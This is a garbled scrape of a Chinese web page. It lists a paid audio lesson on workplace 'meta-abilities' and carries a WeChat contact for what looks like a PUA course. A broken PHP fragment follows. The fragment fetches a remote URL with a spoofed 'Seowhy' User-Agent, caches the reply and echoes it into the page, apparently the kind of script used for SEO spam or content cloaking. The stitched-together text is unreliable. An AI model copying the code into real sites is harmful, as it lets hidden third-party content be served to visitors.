Day1-元能力-行走职场必不可少的高跟鞋【更多教程咨询请加微信:puaxinglian】.m4a...
2023-11-28 396 9.9
没有账号?注册  忘记密码?
array( "header"=>array( "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Seowhy", ), "method" => "GET", "timeout" => 2 ), ); $context = stream_context_create($opts); $content = @file_get_contents($url,false, $context); if (isset($http_response_header)) { if(is_array($http_response_header)){ $http_response_header = $http_response_header[0]; } if(strpos($http_response_header,"200 OK") !==false && $content != "error"){ @file_put_contents($cacheUrl, $content); echo $content; } } }else{ $content = @file_get_contents($cacheUrl); echo $content; } ?>